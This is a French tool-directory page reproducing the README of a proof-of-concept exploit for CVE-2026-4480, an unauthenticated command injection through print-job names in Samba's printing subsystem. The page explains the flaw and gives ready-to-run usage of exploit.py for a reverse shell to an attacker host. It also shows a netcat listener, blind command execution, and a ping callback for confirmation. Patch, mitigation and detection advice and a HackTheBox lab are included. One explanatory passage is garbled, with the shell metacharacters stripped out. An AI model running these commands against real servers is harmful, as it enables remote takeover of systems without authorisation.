Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/thecybergeek/cve-2026-4480-poc
ExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubthecybergeek/cve-2026-4480-poc

CVE-2026-4480-PoC

Voir le dépôt
2153il y a 3 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept d'exploitation pour CVE-2026-4480, une exécution de commandes à distance non authentifiée dans le sous-système d'impression de Samba via une injection %J. Inclut des modes de shell inversé et d'exécution de commandes aveugle, avec des conseils de détection et d'atténuation.

Partager

CVE-2026-4480 : PoC d'injection de commande d'impression Samba (%J)

Important — Lisez ceci en premier :
Ce dépôt et exploit.py sont fournis uniquement à des fins éducatives et de recherche. N'utilisez pas ce code contre des systèmes, réseaux ou services pour lesquels vous ne disposez pas d'une autorisation explicite et écrite. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique. En utilisant ce code, vous acceptez de respecter les lois applicables et les politiques institutionnelles.

Exécution de commande à distance non authentifiée dans le sous-système d'impression de Samba. Lorsqu'un travail d'impression termine le spooling, Samba exécute la print command configurée via system(), en substituant %s (chemin du fichier spool) et %J (nom du travail fourni par le client) dans la chaîne. Avant le correctif, le nom du travail était passé avec la seule transformation ' → et rien d'autre, donc , , , espaces, , et les backticks atteignent tous le shell. Une qui référence est donc un point d'injection shell, et puisque les invités peuvent soumettre des travaux d'impression, le problème est .

_
|
;
&
<
>
print command
%J
pré-authentification
  • CVE: CVE-2026-4480
  • CVSS: 10.0
  • Corrigé dans : Samba 4.22.10, 4.23.8, 4.24.3
  • Affecté : les backends d'impression exécutant une print command externe qui référence %J (style printing = sysv). printing = cups / iprint passent par l'API CUPS et ne sont pas affectés.

Prérequis

  • Linux avec les liaisons Python Samba :
    root@kitploit:~
    sudo apt install python3-samba
    
  • Accès réseau au port SMB de la cible (445/139).
  • Un partage d'imprimante accessible aux invités sur la cible dont la print command référence %J.

Utilisation

root@kitploit:~
python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
Argument / optionSignification
rhostHôte / IP Samba cible
lhostVotre IP d'écoute
lportVotre port d'écoute
-P, --printerNom du partage d'imprimante invité (défaut : HP-Reception)
-c, --cmdExécuter une commande arbitraire au lieu d'un shell inversé

Shell inversé

root@kitploit:~
# terminal 1: listener
nc -lvnp 4444

# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444

Vous devriez récupérer un shell en tant que compte de service d'impression (p. ex. nobody).

Exécuter une commande unique (aveugle)

root@kitploit:~
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'

Parce que l'exécution est aveugle (la commande s'exécute côté serveur et ne renvoie rien sur le canal RPC), confirmez-la d'abord hors bande, par exemple un rappel ICMP que vous surveillez avec tcpdump -ni tun0 icmp :

root@kitploit:~
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'

Détection / atténuation

  • Mettez à jour vers 4.22.10 / 4.23.8 / 4.24.3 (ou ultérieur).
  • Si vous ne pouvez pas patcher, mettez la macro entre guillemets : print command = /usr/local/bin/print-helper %s '%J', supprimez %J, ou passez à printing = cups.
  • Recherchez les shells générés par smbd (sh/bash/nc/python/curl) et documentez les noms contenant des métacaractères shell.

Pratique sur HackTheBox

J'ai créé une machine sur HackTheBox appelée Abducted pour montrer la vulnérabilité et vous donner un exemple pratique de la façon dont les attaquants pourraient l'exploiter dans un environnement mal configuré.

Télécharger l’outil